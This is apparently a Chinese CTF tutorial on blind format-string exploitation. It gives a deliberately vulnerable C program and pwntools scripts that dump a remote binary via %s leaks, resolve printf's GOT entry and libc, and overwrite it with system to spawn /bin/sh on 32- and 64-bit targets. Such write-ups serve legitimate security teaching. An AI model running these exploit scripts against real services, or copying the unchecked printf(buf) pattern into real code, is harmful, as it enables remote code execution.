可能需要提前了解的知识
● 格式化字符串原理&利用
● got & plt 调用关系
● 程序的一般启动过程
原理
格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们无法通过 IDA 分析,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是无限格式化字符串漏洞,把在内存中的程序给dump下来。
一般来说,我们按照如下步骤进行
● 确定程序的位数(不同位数有些许差别)
● 确定漏洞位置
● 利用
使用条件
● 可以读入 '\x00' 字符的
● 输出函数均是 '\x00' 截断的
● 能无限使用格式化字符串漏洞
32 位利用手法
实验环境准备
程序源码如下:
1#include <stdio.h> 2 3#include <string.h> 4 5#include <unistd.h> 6 7int main(int argc, char *argv[]) 8 9{ 10 11 setbuf(stdin, 0LL); 12 13 setbuf(stdout, 0LL); 14 15 setbuf(stderr, 0LL); 16 17 int flag; 18 19 char buf[1024]; 20 21 FILE* f; 22 23 24 25 puts("What's your name?"); 26 27 28 29 fgets(buf, 1024, stdin); 30 31 printf("Hi, "); 32 33 printf("%s",buf); 34 35 putchar('\n'); 36 37 38 39 flag = 1; 40 41 while (flag == 1){ 42 43 puts("Do you want the flag?"); 44 45 46 47memset(buf,'\0',1024); 48 49read(STDIN_FILENO, buf, 100); 50 51 if (!strcmp(buf, "no\n")){ 52 53 printf("I see. Good bye."); 54 55 return 0; 56 57 }else 58 59{ 60 61 printf("Your input isn't right:"); 62 63 printf(buf); 64 65 printf("Please Try again!\n"); 66 67} 68 69fflush(stdout); 70 71 } 72 73 return 0; 74 75}
编译 32 位文件:
gcc -z execstack -fno-stack-protector -m32 -o leakmemory leakmemory.c
用 socat 挂到端口 10001 上部署:
socat TCP4-LISTEN:10001,fork EXEC:./leakmemory
实验环境完成,如果是本地部署的话,等等在 exp 里面写 remote("127.0.0.1",10001) 模拟没有 binary 的远程盲打情况。
确定程序的位数
用 %p 看看程序回显输出的长度是多少,以此判断程序的位数。这里看到回显是 4 个字节,判断是 32 位程序。可以再多泄露几个,都是 4 字节(含)以下的,确定为 32 位程序。

确定格式化字符串偏移
找到格式化字符串的偏移是多少,在后续操作中会用到。由于没有 binary 不能通过调试分析偏移,就采取输入多个 %p 泄露出偏移。为了容易辨认,字符串开始先填充 4 字节 的填充(64位8字节),然后再填入 %p 。
最后确认偏移为 7 。

dump 程序
dump 程序应该选哪个格式化字符串:
%n$s :将第 n 个参数的值作为地址,输出这个地址指向的字符串内容
%n$p :将第 n 个参数的值作为内容,以十六进制形式输出
我们是需要 dump 程序,也就是想获取我们所给定地址的内容,而不是获取我们给定的地址。所以应该用 **%n
s∗∗把我们给定地址当作指针,输出给定地址所指向的字符串。结合前面知道格式化字符串偏移为7,payload应该为:‘‘
s.TMP[addr]`` 。
注意:使用 %s 进行输出并不是一个字节一个字节输出,而是一直输出直到遇到 \x00 截止符才会停止,也就是每次泄露的长度是不确定的,可能很长也可能是空。因为 .text 段很可能有连续 \x00 ,所以泄露脚本处理情况有:
针对每次泄露长度不等,addr 根据每次泄露长度动态增加;
泄露字符串可能为空,也就是如何处理 \x00 ;
除此之外,还有一个问题是泄露的起始地址在哪里?从各个大佬文章学到两种做法:从 .text 段开始;从程序加载地方开始;两种方法泄露出来程序,在 ida 中呈现有差别。
从程序加载地方开始
先来说省事的,从程序加载地方开始。程序加载地方 32 位和 64 位各不相同:

32 位:从 0x8048000 开始泄露
64 位:从 0x400000 开始泄露
下面是这条例题的泄露脚本,结合注解分析如何处理上面提到的问题:
1#! /usr/bin/env python 2 3# -*- coding: utf-8 -*- 4 5from pwn import * 6 7import binascii 8 9 10 11r = remote('127.0.0.1',10001) 12 13 14 15def leak(addr): 16 17 payload = "%9$s.TMP" + p32(addr) 18 19 r.sendline(payload) 20 21 print "leaking:", hex(addr) 22 23 r.recvuntil('right:') 24 25 ret = r.recvuntil(".TMP",drop=True) 26 27 print "ret:", binascii.hexlify(ret), len(ret) 28 29 remain = r.recvrepeat(0.2) 30 31 return ret 32 33 34 35# name 36 37r.recv() 38 39r.sendline('nameaaa') 40 41r.recv() 42 43 44 45# leak 46 47begin = 0x8048000 48 49text_seg ='' 50 51try: 52 53 while True: 54 55 ret = leak(begin) 56 57 text_seg += ret 58 59 begin += len(ret) 60 61 if len(ret) == 0: # nil 62 63 begin +=1 64 65 text_seg += '\x00' 66 67except Exception as e: 68 69 print e 70 71finally: 72 73 print '[+]',len(text_seg) 74 75 with open('dump_bin','wb') as f: 76 77 f.write(text_seg)
注解:
● 19-21 行:处理无关泄露的程序流程后,进入格式化字符串漏洞输入状态
● 24 行:32 位系统加载地址
● 9 行:"%9$s.TMP" 中的 .TMP 既是填充对齐,也是分隔符,方便后面处理数据
● 14 行:使用binascii 将泄漏出来字符串每一个都从 ascii 转换为 十六进制,方便显示
● 15 行:r.recvrepeat(0.2) 接受返回的垃圾数据,方便下一轮的输入
● 30 行:泄漏地址动态增加,假如泄漏 1 字节就增加 1 ;泄漏 3 字节就增加 3
● 31-33 行:处理泄漏长度为 0 ,也就是数据是 \x00 的情况。地址增加 1 ,程序数据加 \x00
运行之后,耐心等待泄漏完成。泄漏出来的程序是不能运行的,但可以在 ida 进过处理可以进行分析、找 plt 、got.plt 等。
将泄漏出来的程序,放入 ida ,启动时选择以 binary file 加载,勾选 Load as code segment,并**调整偏移为:0x8048000 **(开始泄露的地址):

可以通过 shift+F12 查字符串定位到 main 函数,然后直接 F5 反编译:

基本结构已经出来了,盲打没有源代码,就需要根据传入参数去判断哪个 sub_xxx 是哪个函数了。比如输出格式化字符串的 sub_8048490 就是 printf 。
从 .text 段开始
程序启动过程:

从 _start 函数开始就是 .text 段,可以在 ida 中打开一个正常的 binary 观察 text 段开头第一个函数就是 _stat :(图为 32 位程序)

先用 %p 泄露出栈上数据,找到两个相同地址,而且这个地址很靠近程序加载初地址(32位:0x8048000;64位:0x400000)。脚本如下:
1from pwn import * 2 3import sys 4 5 6 7p = remote('127.0.0.1',10001) 8 9 10 11p.recv() 12 13p.sendline('nameaaa') 14 15p.recv() 16 17 18 19def where_is_start(ret_index=null): 20 21 return_addr=0 22 23 for i in range(400): 24 25 payload = '%%%d$p.TMP' % (i) 26 27 p.sendline(payload) 28 29 p.recvuntil('right:') 30 31 val = p.recvuntil('.TMP') 32 33 log.info(str(i*4)+' '+val.strip().ljust(10)) 34 35 if(i*4==ret_index): 36 37 return_addr=int(val.strip('.TMP').ljust(10)[2:],16) 38 39 return return_addr 40 41 p.recvrepeat(0.2) 42 43 44 45start_addr=where_is_start()
最后在偏移 1164 和 1188 找到 text 段地址 0x8048510 ,可以对比上图,上图是这条例题的截图:

泄露脚本和前面一样只需要修改一下起始地址:
1#! /usr/bin/env python 2 3# -*- coding: utf-8 -*- 4 5from pwn import * 6 7import binascii 8 9context.log_level = 'info' 10 11r = remote('127.0.0.1',10001) 12 13 14 15def leak(addr): 16 17 payload = "%9$s.TMP" + p32(addr) 18 19 r.sendline(payload) 20 21 print "leaking:", hex(addr) 22 23 r.recvuntil('right:') 24 25 ret = r.recvuntil(".TMP",drop=True) 26 27 print "ret:", binascii.hexlify(ret), len(ret) 28 29 remain = r.recvrepeat(0.2) 30 31 return ret 32 33 34 35# name 36 37r.recv() 38 39r.sendline('nameaaa') 40 41r.recv() 42 43 44 45# leak 46 47begin = 0x8048510 48 49#begin = 0x8048000 50 51text_seg ='' 52 53try: 54 55 while True: 56 57 ret = leak(begin) 58 59 text_seg += ret 60 61 begin += len(ret) 62 63 if len(ret) == 0: # nil 64 65 begin +=1 66 67 text_seg += '\x00' 68 69except Exception as e: 70 71 print e 72 73finally: 74 75 print '[+]',len(text_seg) 76 77 with open('dump_bin_text','wb') as f: 78 79 f.write(text_seg)
将泄露文件放入 ida 分析,启动时选择以 binary file 加载,勾选Load as code segment,并**调整偏移为:0x8048510 **(开始泄露地址):

找到 main 函数在 0x0804860B ,需要将这部分定义为函数才能反编译,右键地址隔壁的名称 loc_804860B ,creat function 。

红色部分就是没有泄露出来的函数,后面跟的就是函数 plt 地址。
两种方法各有不同,结合实际使用。
解题流程
着重记录格式化字符串盲打,不一步一步分析这道题目漏洞(详细分析:默小西博客)。这道题目思路是:
1.确定 printf 的 plt 地址
2.通过泄露 plt 表中的指令内容确定对应的 got.plt 表地址
3.通过泄露的 got.plt 表地址泄露 printf 函数的地址
4.通过泄露的 printf 的函数地址确定 libc 基址,从而获得 system 地址
5.使用格式化字符串的任意写功能将 printf 的 got.plt 表中的地址修改为 system 的地址
6.send 字符串 “/bin/sh” ,那么在调用 printf(“/bin/sh”) 的时候实际上调用的是 system(“/bin/sh;”) ,从而成功获取shell
确定 printf 的 plt 地址
将泄露出来的程序,放入 ida 中分析获得,函数名后半截就是地址 0x8048490 :

泄露 got.plt
和泄露程序 payload 高度相似:
1payload = "%9$sskye" + p32(printf_plt) 2 3p.sendline(payload) 4 5# \xff\x25 junk code 6 7p.recvuntil('right:\xff\x25') 8 9printf_got_plt = u32(p.recv(4))
注解:
为什么接收 'right:\xff\x25' ?
right: 是固定回显,\xff\x25 是无用字节码。实际上 0x8048490 的汇编是这样的:
pwndbg> pdisass 0x8048490
► 0x8048490 <printf@plt> jmp dword ptr [0x804a018] <0xf7e4d670>
0x8048496 <printf@plt+6> push 0x18
0x804849b <printf@plt+11> jmp 0x8048450
# 字节码
pwndbg> x /20wx 0x8048490
0x8048490 <printf@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0
0x8048490 指向是一条跳转 got.plt 指令,我们需要其中跳转的目标地址。\xff\x25 就是跳转指令的字节码,我们就要先接收 2 字节垃圾数据,然后再接收 4 字节的 got.plt 地址。
泄露 printf 函数的地址
构造方法同上,但不需要接收 2 字节垃圾数据:
1payload = "%9$sskye" + p32(printf_got_plt) 2 3p.sendline(payload) 4 5p.recvuntil('right:') 6 7printf_got = u32(p.recv(4))
泄露 libc 基址& system 地址
题目没有给出 libc 。从泄露出来的 printf@got 去 libcdatabase 查询其他函数偏移。
printf:0x00049670
system:0x0003ada0
任意写修改 printf@got.plt
payload = fmtstr_payload(7, {printf_got_plt: system_addr})
p.sendline(payload)
exp
1#!/usr/bin/env python 2 3# -*- coding: utf-8 -*- 4 5# @Author : MrSkYe 6 7# @Email : skye231@foxmail.com 8 9# @File : leakmemory_remote.py 10 11from pwn import * 12 13import binascii 14 15context.log_level = 'debug' 16 17p = remote('127.0.0.1',10001) 18 19 20 21def leak(addr): 22 23 payload = "%9$s.TMP" + p32(addr) 24 25 p.sendline(payload) 26 27 print "leaking:", hex(addr) 28 29 p.recvuntil('right:') 30 31 resp = p.recvuntil(".TMP") 32 33 ret = resp[:-4:] 34 35 print "ret:", binascii.hexlify(ret), len(ret) 36 37 remain = p.recvrepeat(0.2) 38 39 return ret 40 41 42 43printf_plt = 0x8048490 44 45 46 47# name 48 49p.recv() 50 51p.sendline('nameaaa') 52 53p.recv() 54 55 56 57# leak printf@got.plt 58 59payload = "%9$sskye" + p32(printf_plt) 60 61p.sendline(payload) 62 63# \xff\x25 junk code 64 65p.recvuntil('right:\xff\x25') 66 67printf_got_plt = u32(p.recv(4)) 68 69log.info("printf_got_plt:"+hex(printf_got_plt)) 70 71 72 73# leak printf@got 74 75payload = "%9$sskye" + p32(printf_got_plt) 76 77p.sendline(payload) 78 79p.recvuntil('right:') 80 81printf_got = u32(p.recv(4)) 82 83log.info("printf_got:"+hex(printf_got)) 84 85 86 87# libcdatabase 88 89libc_base = printf_got - 0x00049670 90 91log.info("libc_base:"+hex(libc_base)) 92 93system_addr = libc_base + 0x0003ada0 94 95log.info("system_addr:"+hex(system_addr)) 96 97 98 99# overwrite 100 101payload = fmtstr_payload(7, {printf_got_plt: system_addr}) 102 103p.sendline(payload) 104 105p.sendline('/bin/sh\x00') 106 107 108 109p.interactive()
64 位利用手法
实验环境准备
还是使用 32 位的例题源码,编译 64 位程序:
gcc -z execstack -fno-stack-protector -o leakmemory_64 leakmemory.c
用 socat 挂到端口 10001 上部署:
socat TCP4-LISTEN:10000,fork EXEC:./leakmemory
实验环境完成,如果是本地部署的话,等等在 exp 里面写 remote("127.0.0.1",10000) 模拟没有 binary 的远程盲打。
确定程序的位数
填充 8 字节,然后再填入 %p ,回显长度是 8 字节。

确定格式化字符串偏移
最后确认偏移为 8 。

dump 程序
从程序加载地方开始,或者从 text 段开始可以的。这里不再找 text 段起始位置,直接从程序加载地方开始泄露。两个位数程序脚本通用的,改一下参数即可。
64 位程序加载起始地址是:0x400000,下面是对比图:

脚本还是那个脚本,改一下参数即可:
1#! /usr/bin/env python 2 3# -*- coding: utf-8 -*- 4 5from pwn import * 6 7import binascii 8 9context.log_level = 'info' 10 11#r = remote('127.0.0.1',10001) 12 13r = remote('127.0.0.1',10000) 14 15 16 17def leak(addr): 18 19 payload = "%9$s.TMP" + p64(addr) 20 21 r.sendline(payload) 22 23 print "leaking:", hex(addr) 24 25 r.recvuntil('right:') 26 27 ret = r.recvuntil(".TMP",drop=True) 28 29 print "ret:", binascii.hexlify(ret), len(ret) 30 31 remain = r.recvrepeat(0.2) 32 33 return ret 34 35 36 37# name 38 39r.recv() 40 41r.sendline('moxiaoxi') 42 43r.recv() 44 45 46 47# leak 48 49begin = 0x400000#0x8048000 50 51text_seg ='' 52 53try: 54 55 while True: 56 57 ret = leak(begin) 58 59 text_seg += ret 60 61 begin += len(ret) 62 63 if len(ret) == 0: # nil 64 65 begin +=1 66 67 text_seg += '\x00' 68 69except Exception as e: 70 71 print e 72 73finally: 74 75 print '[+]',len(text_seg) 76 77 with open('dump_bin_64','wb') as f: 78 79 f.write(text_seg)
ida 加载参数如图:

通过字符串定位到 main 函数,这里没有识别为函数,需要手动创建函数。在 0x0400826 右键 creat function ,然后就可以反汇编了。
点进 printf@plt ,里面是跳转到 printf@got.plt 指令,也就是从 ida 知道了:
printf_plt = 0x4006B0
printf_got_plt = 0x601030
解题思路与 32 位一致,利用脚本:
1#!/usr/bin/env python 2 3# -*- coding: utf-8 -*- 4 5# @Author : MrSkYe 6 7# @Email : skye231@foxmail.com 8 9# @File : leakmemory_64_remote.py 10 11from pwn import * 12 13import binascii 14 15context.log_level = 'debug' 16 17p = remote('127.0.0.1',10000) 18 19 20 21def leak(addr): 22 23 payload = "%9$s.TMP" + p64(addr) 24 25 p.sendline(payload) 26 27 print "leaking:", hex(addr) 28 29 p.recvuntil('right:') 30 31 resp = p.recvuntil(".TMP") 32 33 ret = resp[:-4:] 34 35 print "ret:", binascii.hexlify(ret), len(ret) 36 37 remain = p.recvrepeat(0.2) 38 39 return ret 40 41 42 43printf_plt = 0x4006B0 44 45printf_got_plt = 0x601030 46 47 48 49# name 50 51p.recv() 52 53p.sendline('moxiaoxi') 54 55p.recv() 56 57 58 59# leak printf@got 60 61payload = "%9$s.TMP" + p64(printf_got_plt+1) 62 63p.sendline(payload) 64 65p.recvuntil('right:') 66 67printf_got = u64(p.recv(5).ljust(7,'\x00')+'\x00')<<8 68 69log.info("printf_got:"+hex(printf_got)) 70 71 72 73# libcdatabase 74 75libc_base = printf_got - 0x055800 76 77log.info("libc_base:"+hex(libc_base)) 78 79system_addr = libc_base + 0x045390 80 81log.info("system_addr:"+hex(system_addr)) 82 83 84 85one = p64(system_addr)[:2] 86 87two = p64(system_addr>>16)[:2] 88 89 90 91payload = "%9104c%12$hn%54293c%13$hn" + 'a'*7 92 93payload += p64(printf_got_plt) + p64(printf_got_plt+2) 94 95 96 97 98 99p.sendline(payload) 100 101p.recv() 102 103p.sendline('/bin/sh\x00') 104 105 106 107 108 109p.interactive()
更多实例
● axb_2019_fmt32
BUU 上有实验环境,忽略提供的二进制文件,就是盲打题目
● axb_2019_fmt64
BUU 上有实验环境,忽略提供的二进制文件,就是盲打题目
● SuCTF2018 - lock2
主办方提供了 docker 镜像: suctf/2018-pwn-lock2
参考
● ctf-wiki
(https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr\_example-zh)
● leak me
(https://momomoxiaoxi.com/2017/12/26/Blindfmtstr/)
● pwn-盲打
(https://luobuming.github.io/2019/10/17/2019-10-17-pwn-盲打/#64位的利用手法)
实验推荐--格式化(字符串)溢出实验
(通过该实验,了解格式化溢出原理并掌握其方法)